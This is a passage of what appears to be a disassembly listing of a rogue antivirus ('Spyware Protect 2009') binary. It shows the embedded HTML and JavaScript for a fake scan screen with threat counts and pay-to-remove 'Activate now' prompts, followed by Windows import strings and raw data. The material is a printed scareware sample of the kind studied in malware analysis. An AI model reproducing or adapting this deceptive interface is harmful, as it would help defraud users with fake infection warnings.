class="sureDialog">',0Dh,0Ah db '<div style="position: relative;left: 65px;top: 107px;width:198px;' db 'height:28px;cursor:hand;" onclick="onSureDialog(0);"></div>',0Dh,0Ah db '<div style="position: relative;left: 273px;top: 79px;width:198px;' db 'height:28px;cursor:hand;" onclick="onSureDialog(1);"></div>',0Dh,0Ah db '</div>',0Dh,0Ah db 0Dh,0Ah db 0Dh,0Ah db ' <div id="commonBlock">',0Dh,0Ah db 0Dh,0Ah db ' <div id="headerBlock" onmousedown="external.DragWindow()"' db '>',0Dh,0Ah db ' <div class="logoBlock">',0Dh,0Ah db ' <span class="logo">Spyware Protect</span> <sp' db 'an class="logoYear">2009</span>',0Dh,0Ah db ' <br/>',0Dh,0Ah db ' <span class="logoSlogan">Protecting every sec' db 'ond...</span>',0Dh,0Ah db ' </div>',0Dh,0Ah db ' <div class="headerRightPart">',0Dh,0Ah db ' <div class="clobut">',0Dh,0Ah db ' ',9,'<a href="javascript:external.Close()"><im' db 'g src="close-button.gif" border=0/></a>',0Dh,0Ah db ' </div>',0Dh,0Ah db ' </div>',0Dh,0Ah db ' </div>',0Dh,0Ah db 0Dh,0Ah db ' <div id="contentBlock">',0Dh,0Ah db ' ',0Dh,0Ah db ' <div id="contentBlock-leftColumn">',0Dh,0Ah db ' <div class="leftColumnTab">',0Dh,0Ah db ' <div id="tab1" class="but"><div class="tab1" ' db 'onmouseover="onMenu(',27h,'tab1',27h,');" onclick="onMenuClick(',27h,'tab1' db 27h,');"><span id="tab1text" class="menuText">Perform scan</span' db '></div></div> ',0Dh,0Ah db ' </div>',0Dh,0Ah db ' <div class="leftColumnTab menuTopMargin">',0Dh,0Ah db ' <div id="tab2" class="but"><div class="tab2" ' db 'onmouseover="onMenu(',27h,'tab2',27h,');" onclick="onMenuClick(',27h,'tab2' db 27h,');"><span id="tab2text" class="menuText">Adjust settings</s' db 'pan></div></div> ',0Dh,0Ah db ' </div>',0Dh,0Ah db 9,9,9,9,' <div class="leftColumnTab menuTopMargin">',0Dh,0Ah db ' <div id="tab3" class="but"><div class="tab3" ' db 'onmouseover="onMenu(',27h,'tab3',27h,');" onclick="onMenuClick(',27h,'tab3' db 27h,');"><span id="tab3text" class="menuText">Get updates</span>' db '</div></div> ',0Dh,0Ah db ' </div>',0Dh,0Ah db ' <div class="leftColumnTab menuTopMargin">',0Dh,0Ah db ' <div id="tab4" class="but"><div class="tab4" ' db 'onmouseover="onMenu(',27h,'tab4',27h,');" onclick="onMenuClick(',27h,'tab4' db 27h,');"><span id="tab4text" class="menuText">Activate now</span' db '></div></div> ',0Dh,0Ah db ' </div>',0Dh,0Ah db ' <div class="leftColumnTab menuTopMargin">',0Dh,0Ah db ' <div id="tab5" class="but"><div class="tab5" ' db 'onmouseover="onMenu(',27h,'tab5',27h,');" onclick="onMenuClick(',27h,'tab5' db 27h,');"><span id="tab5text" class="menuText">Help & su' db 'pport</span></div></div> ' db ' ',0Dh,0Ah db ' </div>',0Dh,0Ah db 0Dh,0Ah db 0Dh,0Ah db ' <div class="regTextMargin">',0Dh,0Ah db ' ',9,' <img src="protect.gif" onclick="external.pu' db 'rchase();"/>',0Dh,0Ah db ' </div>',0Dh,0Ah db ' </div>',0Dh,0Ah db ' ',0Dh,0Ah db ' <div class="contentBlock-rightColumn">',0Dh,0Ah db 0Dh,0Ah db 0Dh,0Ah db ' <div id="scan-panel" class="rightColumnPadding" ' db 'style="display:none;">',0Dh,0Ah db ' <table class="contentHeader" border="0" ' db 'cellspacing="0" cellpadding="0">',0Dh,0Ah db ' <tr>',0Dh,0Ah db ' <td class="contentHeaderPadding-tab"' db '>',0Dh,0Ah db ' <img class="verticalAlignMiddle ' db 'marginHeaderIcon" src="header-icon.gif" width="19" height="23" bo' db 'rder="0" alt="Alt text">',0Dh,0Ah db ' <span>Performing scan</span>',0Dh,0Ah db ' </td>',0Dh,0Ah db ' <td class="scanerActionButton" oncli' db 'ck="onScanButtonClick();"><div id="scanButton" class="scanButStar' db 't" style="padding-top:6px;">Start scan</div></td>',0Dh,0Ah db ' </tr>',0Dh,0Ah db ' </table>',0Dh,0Ah db ' <table class="currentState" style="backg' db 'round:url(currentState-bg.gif) no-repeat center top;" border="0" ' db 'cellspacing="0" cellpadding="0">',0Dh,0Ah db ' <tr>',0Dh,0Ah db ' <td class="currentStatePadding vertica' db 'lAlignTop">',0Dh,0Ah db ' <span>Current state:</span>',0Dh,0Ah db ' <img class="verticalAlignMiddle" s' db 'rc="point.gif" width="11" height="11" border="0" alt="Alt text" /' db '>',0Dh,0Ah db ' <span id="IDstatusmessage" class="' db 'green">Ready</span>',0Dh,0Ah db ' </td>',0Dh,0Ah db ' </tr>',0Dh,0Ah db ' <tr class="scanPath">',0Dh,0Ah db ' <td>',0Dh,0Ah db ' <table class="scanPathTable" borde' db 'r="0" cellspacing="0" cellpadding="0">',0Dh,0Ah db ' <tr>',0Dh,0Ah db ' <td class="scanPathIconTd">',0Dh db 0Ah db ' <img class="verticalAlign' db 'Middle" src="scan-path-icon.gif" width="17" height="17" border="0' db '" alt="Alt text" />',0Dh,0Ah db ' </td>',0Dh,0Ah db ' <td id="filename">',0Dh,0Ah db ' <span id="IDscanedfile"><' db '/span>',0Dh,0Ah db ' </td>',0Dh,0Ah db ' <td class="scanPathTotalTd">',0Dh db 0Ah db ' <div class="scanPathTotal' db '"><span class="totalText">Total: <span id="IDtotal">N/A</span></s' db 'pan></div>',0Dh,0Ah db ' </td>',0Dh,0Ah db ' <td class="threatsTotalTd">',0Dh db 0Ah db ' <div class="threatsTotal"' db '><span class="totalText">Threats: <span id="IDthreats">N/A</span>' db '</span></div>',0Dh,0Ah db ' </td>',0Dh,0Ah db ' </tr>',0Dh,0Ah db ' </table>',0Dh,0Ah db ' </td>',0Dh,0Ah db ' </tr>',0Dh,0Ah db ' </table>',0Dh,0Ah db ' <table class="dataStat" border="0" cells' db 'pacing="0" cellpadding="0">',0Dh,0Ah db ' <tr>',0Dh,0Ah db ' <td class="dataStatPadding verticalAli' db 'gnTop" colspan="2">',0Dh,0Ah db ' <table width="100%" border="0" cells' db 'pacing="0" cellpadding="0">',0Dh,0Ah db ' <tr>',0Dh,0Ah db ' <td><span>Malware database status:' db '</span> <img class="verticalAlignMiddle" src="point.gif" width="1' db '1" height="11" border="0" alt="Alt text" /> <span class="green" i' db 'd="dbStatus">Up to date</span></td>',0Dh,0Ah db ' <td class="textAlignRight sigVerPa' db 'dding"><img class="verticalAlignMiddle" src="version-icon.png" wi' db 'dth="15" height="19" border="0" alt="Alt text" /> <span>Signature' db ' version:</span> <span id="curd" class="blue"> </span> <span' db ' class="lt-grey">(11345 entries)</span></td>',0Dh,0Ah db ' </tr>',0Dh,0Ah db ' </table>',0Dh,0Ah db ' </td>',0Dh,0Ah db ' </tr>',0Dh,0Ah db ' <tr class="updBase" id="updBase" onclic' db 'k="external.purchase();">',0Dh,0Ah db 9,' <td class="updBasePadding"><img class' db '="verticalAlignMiddle" id="updBaseIcon" src="alert-icon.gif" widt' db 'h="21" height="18" border="0" alt="Alt text" /> <span id="updBase' db 'Text">Activate Spyware Protect 2009 now to be sure that maximal p' db 'rotection is applied.</span></td>',0Dh,0Ah db ' </tr>',0Dh,0Ah db ' </table>',0Dh,0Ah db ' <table class="rezultTableHead" border="0' db '" cellspacing="0" cellpadding="3">',0Dh,0Ah db ' <tr>',0Dh,0Ah db ' <td class="rezultTableHeadCell1"><span' db '>Threat name</span></td>',0Dh,0Ah db ' <td class="rezultTableHeadCell2"><span' db '>Severity</span></td>',0Dh,0Ah db ' <td class="rezultTableHeadCell3"><span' db '>Description (click on item for more information)</span></td>',0Dh,0Ah db ' </tr>',0Dh,0Ah db ' </table>',0Dh,0Ah db ' <div id="scrollRezultTable">',0Dh,0Ah db ' <table id="virusTable" class="rezult' db 'Table" border="0" cellspacing="0" cellpadding="3">',0Dh,0Ah db ' </table>',0Dh,0Ah db ' </div>',0Dh,0Ah db ' <table class="scanProgress" border="0" c' db 'ellspacing="0" cellpadding="0">',0Dh,0Ah db ' <tr class="scanProgressTopRow">',0Dh,0Ah db ' <td class="scanProgressPadding"><img ' db 'class="verticalAlignMiddle" src="scan-progress-icon.gif" width="2' db '0" height="17" border="0" alt="Alt text" /> <span>Scan progress</' db 'span></td>',0Dh,0Ah db ' <td class="textAlignRight scanProgres' db 'sComplPadding"><span id="progressPercent" class="lt-green">0%</sp' db 'an> <span>completed</span></td>',0Dh,0Ah db ' </tr>',0Dh,0Ah db ' <tr>',0Dh,0Ah db ' <td class="scanProgressPadding" colsp' db 'an="2">',0Dh,0Ah db ' ',9,'<table>',0Dh,0Ah db ' ',9,9,'<tr>',0Dh,0Ah db ' ',9,9,9,'<td align="right" style="backgr' db 'ound:url(',27h,'scan-progress-scale-bg-green.png',27h,');" width="630" ' db 'height="21">',0Dh,0Ah db ' ',9,9,9,9,'<table id="progressBar" style=' db '"border-collapse:collapse;" width="0" border="0">',0Dh,0Ah db ' ',9,9,9,9,9,'<tr>',0Dh,0Ah db ' ',9,9,9,9,9,9,'<td height="21" style="backg' db 'round:url(',27h,'scan-progress-scale-bg.gif',27h,');"></td>',0Dh,0Ah db ' ',9,9,9,9,9,'</tr>',0Dh,0Ah db ' ',9,9,9,9,'</table>',0Dh,0Ah db ' ',9,9,9,'</td>',0Dh,0Ah db ' ',9,9,'</tr>',0Dh,0Ah db ' ',9,'</table>',0Dh,0Ah db ' </td>',0Dh,0Ah db ' </tr>',0Dh,0Ah db ' </table>',0Dh,0Ah db ' ',0Dh,0Ah db 9,9,9,9,' </div>',0Dh,0Ah db 0Dh,0Ah db 0Dh,0Ah db 0Dh,0Ah db 0Dh,0Ah db ' <div id="help-panel" class="rightColumnPadding" s' db 'tyle="display:none;">',0Dh,0Ah db 0Dh,0Ah db ' <table class="contentHeader" border="0" cells' db 'pacing="0" cellpadding="0">',0Dh,0Ah db ' <tr>',0Dh,0Ah db ' <td class="contentHeaderPadding-tab">',0Dh,0Ah db ' <img class="verticalAlignMiddle margi' db 'nHeaderIcon" src="header-icon.gif" width="19" height="23" border=' db '"0" alt="Alt text">',0Dh,0Ah db ' <span>Help & support</span>',0Dh,0Ah db ' </td>',0Dh,0Ah db ' </tr>',0Dh,0Ah db ' </table>',0Dh,0Ah db 0Dh,0Ah db 9,9,9,9,9,'<img id="bg" src="currentState-bg.gif" width="658" height="1' db '45"/>',0Dh,0Ah db ' <div id="content" style="margin-top:-145px;" ' db 'class="tabTextBg">',0Dh,0Ah db ' <div class="tabTextBgPadding">',0Dh,0Ah db ' <span class="header">Support</span>',0Dh db 0Ah db ' <br/>',0Dh,0Ah db ' <p>',0Dh,0Ah db ' If you have any questions or requ' db 'ests concerning the Spyware Protect 2009',0Dh,0Ah db ' product range, we will be pleased' db ' to help you. All relevant information',0Dh,0Ah db ' concerning our comprehensive supp' db 'ort service can be found on our online',0Dh,0Ah db ' support center.',0Dh,0Ah db ' <br/><br/> ',0Dh,0Ah db ' <div class="textAlignRight">',0Dh,0Ah db ' <input class="visitSiteButton" ty' db 'pe="button" id="visitButton" name="" value="Visit spyware protect' db ' 2009 support center" />',0Dh,0Ah db ' </div>',0Dh,0Ah db ' </div>',0Dh,0Ah db ' </div>',0Dh,0Ah db 9,9,9,9,9,'<img id="bg" src="currentState-bg.gif" width="658" height="9' db '0"/>',0Dh,0Ah db ' <div id="content" style="margin-top:-90px;" c' db 'lass="tabTextBg">',0Dh,0Ah db ' <div class="tabTextBgPadding">',0Dh,0Ah db ' <span class="header">About</span>',0Dh,0Ah db ' <br/>',0Dh,0Ah db ' <p>',0Dh,0Ah db ' Copyright 2008 Spyware Protect 20' db '09 Inc.',0Dh,0Ah db ' All rights reserved.',0Dh,0Ah db ' </p>',0Dh,0Ah db ' </div>',0Dh,0Ah db ' </div>',0Dh,0Ah db 0Dh,0Ah db ' </div>',0Dh,0Ah db 0Dh,0Ah db 0Dh,0Ah db 0Dh,0Ah db 0Dh,0Ah db 0Dh,0Ah db ' <div id="update-panel" class="rightColumnPadding"' db ' style="display:none;">',0Dh,0Ah db 0Dh,0Ah db ' <table class="contentHeader" border="0" cells' db 'pacing="0" cellpadding="0">',0Dh,0Ah db ' <tr>',0Dh,0Ah db ' <td class="contentHeaderPadding-tab">',0Dh,0Ah db ' <img class="verticalAlignMiddle margi' db 'nHeaderIcon" src="header-icon.gif" width="19" height="23" border=' db '"0" alt="Alt text">',0Dh,0Ah db ' <span>Get updates</span>',0Dh,0Ah db ' </td>',0Dh,0Ah db ' </tr>',0Dh,0Ah db ' </table>',0Dh,0Ah db 0Dh,0Ah db 9,9,9,9,9,'<img id="bg" src="currentState-bg.gif" width="658" height="1' db '45"/>',0Dh,0Ah db ' <div id="content" style="margin-top:-145px;" ' db 'class="tabTextBg">',0Dh,0Ah db ' <div class="tabTextBgPadding">',0Dh,0Ah db ' <span class="header">Database informa' db 'tion</span>',0Dh,0Ah db ' <br/>',0Dh,0Ah db ' <span>',0Dh,0Ah db ' Warning! Please note that you sho' db 'uld be online before you update virus',0Dh,0Ah db ' definition database. It is necess' db 'ary',0Dh,0Ah db ' to connect to Spyware Protect 200' db '9 online updates center and download',0Dh,0Ah db ' the last version of database.',0Dh,0Ah db ' </span>',0Dh,0Ah db ' <br/><br/>',0Dh,0Ah db ' <img class="verticalAlignMiddle" src=' db '"version-icon.png" width="15" height="19" border="0" alt="Alt tex' db 't" /> <span>Signature version:</span> <span class="blue" id="last' db '-update">2008/5/9</span> <span class="lt-grey" id="getUpdate-verS' db 'igs">(11345 entries)</span>',0Dh,0Ah db ' ',0Dh,0Ah db ' <div class="textAlignRight">',0Dh,0Ah db ' <input class="getupdButton-big" type=' db '"button" id="install-updates-now" name="" value="Get update now" ' db '/>',0Dh,0Ah db ' </div>',0Dh,0Ah db ' </div>',0Dh,0Ah db ' </div>',0Dh,0Ah db 9,9,9,9,9,'<img id="bg" src="currentState-bg.gif" width="658" height="7' db '0"/>',0Dh,0Ah db ' <div id="content" style="margin-top:-70px;" ' db 'class="tabTextBg">',0Dh,0Ah db ' <div class="tabTextBgPadding">',0Dh,0Ah db ' <img class="verticalAlignMiddle" id="' db 'downloadIcon" src="download-icon.jpg" width="47" height="45" bord' db 'er="0" alt="Alt text">',0Dh,0Ah db ' <span class="header" id="downloadStat' db 'us">Downloaded</span>',0Dh,0Ah db ' </div>',0Dh,0Ah db ' </div>',0Dh,0Ah db 0Dh,0Ah db ' </div>',0Dh,0Ah db 0Dh,0Ah db 0Dh,0Ah db 0Dh,0Ah db ' <div id="settings-panel" class="rightColumnPaddin' db 'g" style="display:none;">',0Dh,0Ah db ' <table class="contentHeader" border="0" cells' db 'pacing="0" cellpadding="0">',0Dh,0Ah db ' <tr>',0Dh,0Ah db ' <td class="contentHeaderPadding-tab">',0Dh,0Ah db ' <img class="verticalAlignMiddle margi' db 'nHeaderIcon" src="header-icon.gif" width="19" height="23" border=' db '"0" alt="Alt text">',0Dh,0Ah db ' <span>Adjust settings</span> ',0Dh,0Ah db ' </td>',0Dh,0Ah db ' </tr>',0Dh,0Ah db ' </table>',0Dh,0Ah db 9,9,9,9,9,'<img id="bg" src="currentState-bg.gif" width="658" height="1' db '15"/>',0Dh,0Ah db ' <div id="content" style="margin-top:-115px;" ' db 'class="tabTextBg">',0Dh,0Ah db ' <div class="tabTextBgPadding">',0Dh,0Ah db ' <span class="header">Alert</span>',0Dh,0Ah db ' <br/>',0Dh,0Ah db ' <p>',0Dh,0Ah db ' Alert, if last update older: <inp' db 'ut class="panelSettingsField" id="alertPeriod" size="3" type="num' db 'ber" value="1" step="1" minvalue="1" maxvalue="30" /> days.<br/>',0Dh db 0Ah db ' In this box you can enter the max' db 'imum number of days allowed to have passed',0Dh,0Ah db ' since the last update of virus de' db 'finition database.',0Dh,0Ah db ' </p>',0Dh,0Ah db ' </div>',0Dh,0Ah db ' </div>',0Dh,0Ah db 9,9,9,9,9,'<img id="bg" src="currentState-bg.gif" width="658" height="1' db '25"/>',0Dh,0Ah db ' <div id="content" style="margin-top:-125px;" ' db 'class="tabTextBg">',0Dh,0Ah db ' <div class="tabTextBgPadding">',0Dh,0Ah db ' <span class="header">Automatic Startu' db 'p</span>',0Dh,0Ah db ' <br/>',0Dh,0Ah db ' <p>',0Dh,0Ah db ' When this feature is enabled Spyware ' db 'Protect 2009 will start each time when you turn your computer on.' db 0Dh,0Ah db ' </p>',0Dh,0Ah db ' <input class="checkbox" type="checkbo' db 'x" id="load-on-startup" checked><span>Enable start the program wh' db 'en Windows start</span>',0Dh,0Ah db ' </div>',0Dh,0Ah db ' </div>',0Dh,0Ah db 9,9,9,9,9,'<img id="bg" src="currentState-bg.gif" width="658" height="1' db '25"/>',0Dh,0Ah db ' <div id="content" style="margin-top:-125px;" ' db 'class="tabTextBg">',0Dh,0Ah db ' <div class="tabTextBgPadding">',0Dh,0Ah db ' <span class="header">Automatic scan y' db 'our computer</span>',0Dh,0Ah db ' <br/>',0Dh,0Ah db ' <p>',0Dh,0Ah db ' When this feature is enabled Spyware ' db 'Protect 2009 will scan your computer after each run.',0Dh,0Ah db ' </p>',0Dh,0Ah db ' <input class="checkbox" type="checkbo' db 'x" id="scan-on-startup"><span>Enable scan on run</span>',0Dh,0Ah db ' </div>',0Dh,0Ah db ' </div>',0Dh,0Ah db ' </div>',0Dh,0Ah db 0Dh,0Ah db 0Dh,0Ah db 0Dh,0Ah db ' <div id="activate-panel" class="rightColumnPaddin' db 'g" style="display:none;">',0Dh,0Ah db ' <table class="contentHeader" border="0" cells' db 'pacing="0" cellpadding="0">',0Dh,0Ah db ' <tr>',0Dh,0Ah db ' <td class="contentHeaderPadding-tab">',0Dh,0Ah db ' <img class="verticalAlignMiddle margi' db 'nHeaderIcon" src="header-icon.gif" width="19" height="23" border=' db '"0">',0Dh,0Ah db ' <span>Demo version</span>',0Dh,0Ah db ' </td>',0Dh,0Ah db ' </tr>',0Dh,0Ah db ' </table>',0Dh,0Ah db 9,9,9,9,9,'<img id="bg" src="currentState-bg.gif" width="658" height="1' db '65"/>',0Dh,0Ah db ' <div id="content" class="tabTextBg" style="to' db 'p:-165px;">',0Dh,0Ah db ' <div class="tabTextBgPadding">',0Dh,0Ah db ' <img class="verticalAlignMiddle" src=' db '"arrow.gif" width="29" height="29" border="0" alt="Alt text"> <sp' db 'an class="header">Activate full version</span>',0Dh,0Ah db ' <br/>',0Dh,0Ah db ' <p>',0Dh,0Ah db ' This is demo version of Spyware P' db 'rotect 2009.',0Dh,0Ah db ' Please note that removal feature ' db 'is disabled in demo mode.',0Dh,0Ah db ' To be able remove viruses found a' db 'nd protect your PC, you should purchase a license.',0Dh,0Ah db ' </p>',0Dh,0Ah db ' <div class="activeBut" style="padding' db '-top:6px;" onclick="purchaseDialog(',27h,'show',27h,');"> Ac' db 'tivate Spyware Protect</div>',0Dh,0Ah db 0Dh,0Ah db ' <br/>',0Dh,0Ah db ' ',0Dh,0Ah db ' </div>',0Dh,0Ah db ' </div>',0Dh,0Ah db 9,' </div>',0Dh,0Ah db 0Dh,0Ah db 0Dh,0Ah db ' ',0Dh,0Ah db 0Dh,0Ah db 0Dh,0Ah db ' </div> ',0Dh,0Ah db ' ',0Dh,0Ah db ' </div>',0Dh,0Ah db ' ',0Dh,0Ah db ' <div id="footerBlock"><!-- footer --></div>',0Dh,0Ah db 0Dh,0Ah db ' </div>',0Dh,0Ah db '</body>',0Dh,0Ah db '</html>',0 align 10h aHtmlHeadScri_0 db '<html>',0Dh,0Ah db '<head>',0Dh,0Ah db '<script src="JS/HtmlControl.js"></script>',0Dh,0Ah db '<script type="text/javascript">',0Dh,0Ah db 'external.Show(',27h,'center',27h,', 738, 600);',0Dh,0Ah db 'document.onselectstart =',0Dh,0Ah db ' function () { return false; };',0Dh,0Ah db 'function noError(){return true;}',0Dh,0Ah db 'window.onerror = noError;',0Dh,0Ah db 0Dh,0Ah db 'function redir(url)',0Dh,0Ah db '{',0Dh,0Ah db 'window.location.href=url;',0Dh,0Ah db '}',0Dh,0Ah db '</script>',0Dh,0Ah db '</head>',0Dh,0Ah db '<body onload="external.first();">',0Dh,0Ah db '</body>',0Dh,0Ah db '</html>',0Dh,0Ah,0 align 10h aResizingElemen db '// resizing elements (winuser.h)',0Dh,0Ah db 'HTLEFT = 10;',0Dh,0Ah db 'HTRIGHT = 11;',0Dh,0Ah db 'HTTOP = 12;',0Dh,0Ah db 'HTTOPLEFT = 13;',0Dh,0Ah db 'HTTOPRIGHT = 14;',0Dh,0Ah db 'HTBOTTOM = 15;',0Dh,0Ah db 'HTBOTTOMLEFT = 16;',0Dh,0Ah db 'HTBOTTOMRIGHT = 17;',0Dh,0Ah db 'HTBORDER = 18;',0Dh,0Ah db 0Dh,0Ah db 'function $(id)',0Dh,0Ah db '{',0Dh,0Ah db ' return document.getElementById(id);',0Dh,0Ah db '}',0Dh,0Ah,0 align 4 dd 13Fh dup(0) dd 140h, 1C05Ch, 65724601h, 62694C65h, 79726172h, 6F4C0100h dd 65526461h, 72756F73h, 1006563h, 61657243h, 72506574h dd 7365636Fh, 1005773h, 64616F4Ch, 7262694Ch, 45797261h dd 1005778h aWaitforsingleo db 'WaitForSingleObject',0 db 1 aSetevent db 'SetEvent',0 dw 5701h aAitforsingleob db 'aitForSingleObjectEx',0 db 1, 47h, 65h aTmodulehandlew db 'tModuleHandleW',0 db 1 aWidechartomult db 'WideCharToMultiByte',0 dd 656C5301h, 1007065h, 79706F43h, 656C6946h, 53010057h dd 6F657A69h, 73655266h, 6372756Fh, 6C010065h, 63727473h dd 576E7970h, 65470100h, 6D655474h, 74615070h, 1005768h dd 646E6946h, 736F6C43h, 52010065h, 74657365h, 6E657645h dd 43010074h, 74616572h, 65764565h, 57746Eh, 74736C01h dd 706D6372h, 1005769h, 646E6946h, 7478654Eh, 656C6946h dd 43010057h, 65736F6Ch, 646E6148h, 100656Ch aGetwindowsdire db 'GetWindowsDirectoryW',0 db 1, 43h, 72h aEatethread db 'eateThread',0 db 1 aInterlockedexc db 'InterlockedExchange',0 db 1 aGetacp db 'GetACP',0 db 1 aGetlocaleinfoa db 'GetLocaleInfoA',0 db 1 aGetthreadlocal db 'GetThreadLocale',0 db 1, 47h, 65h aTversionexa db 'tVersionExA',0 db 1 aInterlockedcom db 'InterlockedCompareExchange',0 dd 61654801h, 65724670h, 47010065h, 72507465h, 7365636Fh dd 61654873h, 48010070h, 41706165h, 636F6C6Ch, 65470100h dd 6F725074h, 64644163h, 73736572h, 6F4C0100h, 694C6461h dd 72617262h, 1004179h aIsprocessorf_0 db 'IsProcessorFeaturePresent',0 dw 5601h aIrtualfree db 'irtualFree',0 db 1 aVirtualalloc db 'VirtualAlloc',0 db 1, 53h, 65h aTenvironmentva db 'tEnvironmentVariableA',0 dw 4301h aOmparestringw db 'ompareStringW',0 dw 4301h aOmparestringa db 'ompareStringA',0 dw 4601h aLushfilebuffer db 'lushFileBuffers',0 db 1 aCreatefilea db 'CreateFileA',0 db 1, 47h, 65h aTstringtypew db 'tStringTypeW',0 db 1, 47h, 65h aTstringtypea db 'tStringTypeA',0 db 1, 46h, 69h aNdresourcew db 'ndResourceW',0 db 1 aLcmapstringa db 'LCMapStringA',0 dw 5701h aRiteconsolew db 'riteConsoleW',0 db 1, 47h, 65h aTconsoleoutput db 'tConsoleOutputCP',0 db 1, 57h, 72h aIteconsolea db 'iteConsoleA',0 db 1 aSetstdhandle db 'SetStdHandle',0 dw 4701h aEtfileattribut db 'etFileAttributesA',0 dw 4301h aReateprocessa db 'reateProcessA',0 dw 4701h aEtexitcodeproc db 'etExitCodeProcess',0 dw 4901h aNitializecriti db 'nitializeCriticalSectionAndSpinCount',0 db 1, 49h, 73h aValidcodepage db 'ValidCodePage',0 dw 4701h aEtoemcp db 'etOEMCP',0 db 1 aGetcpinfo db 'GetCPInfo',0 db 1 aGetconsolemode db 'GetConsoleMode',0 db 1 aGetconsolecp db 'GetConsoleCP',0 db 1, 53h, 65h aTfilepointer db 'tFilePointer',0 db 1, 47h, 65h aTcurrentproces db 'tCurrentProcessId',0 dw 4701h aEttickcount db 'etTickCount',0 db 1 aQueryperforman db 'QueryPerformanceCounter',0 db 1, 47h, 65h aTfiletype db 'tFileType',0 dw 5301h aEthandlecount db 'etHandleCount',0 dw 4701h aEtenvironments db 'etEnvironmentStringsW',0 dw 4601h aReeenvironment db 'reeEnvironmentStringsW',0 db 1 aGetenvironment db 'GetEnvironmentStrings',0 dw 4601h aReeenvironme_0 db 'reeEnvironmentStringsA',0 db 1 aHeapsize db 'HeapSize',0 db 1, 54h, 6Ch aSfree db 'sFree',0 dw 5401h aLssetvalue db 'lsSetValue',0 db 1 aTlsalloc db 'TlsAlloc',0 db 1, 54h, 6Ch aSgetvalue db 'sGetValue',0 dw 4701h aEtmodulefilena db 'etModuleFileNameA',0 dw 4701h aEtstdhandle db 'etStdHandle',0 db 1 aWritefile db 'WriteFile',0 db 1 aHeapcreate db 'HeapCreate',0 db 1 aRtlunwind db 'RtlUnwind',0 dw 4701h aEtstartupinfoa db 'etStartupInfoA',0 db 1 aGetcommandline db 'GetCommandLineA',0 db 1 aGetsystemtimea db 'GetSystemTimeAsFileTime',0 db 1, 48h, 65h aAprealloc db 'apReAlloc',0 dw 4401h aEletefilea db 'eleteFileA',0 db 1 aIsdebuggerpres db 'IsDebuggerPresent',0 dw 5301h aEtunhandledexc db 'etUnhandledExceptionFilter',0 db 1 aUnhandledexcep db 'UnhandledExceptionFilter',0 db 1, 54h, 65h aRminateprocess db 'rminateProcess',0 db 1 aVirtualquery db 'VirtualQuery',0 db 1, 46h, 69h aNdfirstfilew db 'ndFirstFileW',0 db 1, 45h, 78h aItprocess db 'itProcess',0 dw 4701h aEtcurrentthrea db 'etCurrentThreadId',0 dw 4401h aEletecriticals db 'eleteCriticalSection',0 db 1, 45h, 6Eh aTercriticalsec db 'terCriticalSection',0 db 1 aSetlasterror db 'SetLastError',0 db 1, 6Ch, 73h aTrlena db 'trlenA',0 db 1 aGetlasterror db 'GetLastError',0 db 1, 52h, 61h aIseexception db 'iseException',0 db 1, 46h, 6Ch aUshinstruction db 'ushInstructionCache',0 dd 74654701h, 74737953h, 6E496D65h, 1006F66h, 74726956h dd 506C6175h, 65746F72h, 1007463h, 626F6C47h, 6E556C61h dd 6B636F6Ch, 736C0100h, 656C7274h, 100576Eh aMultibytetowid db 'MultiByteToWideChar',0 db 1 aLstrcmpw db 'lstrcmpW',0 dw 4701h aEtmodulefile_0 db 'etModuleFileNameW',0 dw 4D01h aUldiv db 'ulDiv',0 dw 4C01h aEavecriticalse db 'eaveCriticalSection',0 dd 6F6C4701h, 416C6162h, 636F6C6Ch, 6E490100h, 61697469h dd 657A696Ch, 74697243h, 6C616369h, 74636553h, 6E6F69h dd 6F6C4701h, 4C6C6162h, 6B636Fh, 74654701h, 72727543h dd 50746E65h, 65636F72h, 1007373h, 65746E49h, 636F6C72h dd 4464656Bh, 65726365h, 746E656Dh, 6E490100h, 6C726574h dd 656B636Fh, 636E4964h, 656D6572h, 100746Eh, 614D434Ch dd 72745370h, 57676E69h, 65470100h, 646F4D74h, 48656C75h dd 6C646E61h, 4165h, 14Dh, 1C000h, 67655201h, 736F6C43h dd 79654B65h, 65520100h, 65755167h, 6E497972h, 654B6F66h dd 1005779h, 44676552h, 74656C65h, 79654B65h, 52010057h dd 65446765h, 6574656Ch, 756C6156h, 1005765h, 4F676552h dd 4B6E6570h, 78457965h, 52010057h, 6E456765h, 654B6D75h dd 57784579h, 65520100h, 74655367h, 756C6156h, 57784565h dd 65520100h, 65755167h, 61567972h, 4565756Ch, 1005778h dd 43676552h, 74616572h, 79654B65h, 577845h, 15A00h, 1C02800h dd 69420100h, 746C4274h, 65440100h, 6574656Ch, 1004344h dd 61657243h, 69426574h, 70616D74h, 65470100h, 76654474h dd 43656369h, 737061h, 6C654401h, 4F657465h, 63656A62h dd 53010074h, 63656C65h, 6A624F74h, 746365h, 65724301h dd 43657461h, 61706D6Fh, 6C626974h, 434465h, 65724301h dd 43657461h, 61706D6Fh, 6C626974h, 74694265h, 70616Dh dd 74654701h, 656A624Fh, 577463h, 74654701h, 636F7453h dd 6A624F6Bh, 746365h, 74655301h, 69424944h, 1007374h dd 61657243h, 6F536574h, 4264696Ch, 68737572h, 1640000h dd 0C3900000h, 43010001h, 7465476Fh, 65746E49h, 63616672h dd 646E4165h, 656C6552h, 53657361h, 61657274h, 4F01006Dh dd 6F4C656Ch, 75526B63h, 6E696E6Eh, 43010067h, 6572436Fh dd 49657461h, 6174736Eh, 65636Eh, 546F4301h, 4D6B7361h dd 72466D65h, 1006565h, 49534C43h, 6F724644h, 6F72506Dh dd 444967h, 534C4301h, 72464449h, 74536D6Fh, 676E6972h dd 72430100h, 65746165h, 65727453h, 6E4F6D61h, 6F6C4748h dd 6C6162h, 72745301h, 46676E69h, 476D6F72h, 32444955h dd 6C4F0100h, 696E4965h, 6C616974h, 657A69h, 656C4F01h dd 6E696E55h, 61697469h, 657A696Ch, 6F430100h, 43746547h dd 7373616Ch, 656A624Fh, 1007463h, 61546F43h, 654D6B73h dd 6C6C416Dh, 100636Fh, 6E556F43h, 74696E69h, 696C6169h dd 100657Ah, 61546F43h, 654D6B73h, 6165526Dh, 636F6C6Ch dd 6F430100h, 74696E49h, 696C6169h, 100657Ah, 614D6F43h dd 61687372h, 746E496Ch, 68547265h, 64616572h, 65746E49h dd 63616672h, 536E4965h, 61657274h, 6E00006Dh, 2C000001h dd 0FF0001C2h, 0A2FF0115h, 2FF00h, 0FF0007FFh, 0A1FF0009h dd 96FF00h, 0FF0008FFh, 4FF0139h, 1A4FF00h, 0FF0095FFh dd 7B000006h, 64000001h, 10001C2h, 6C656853h, 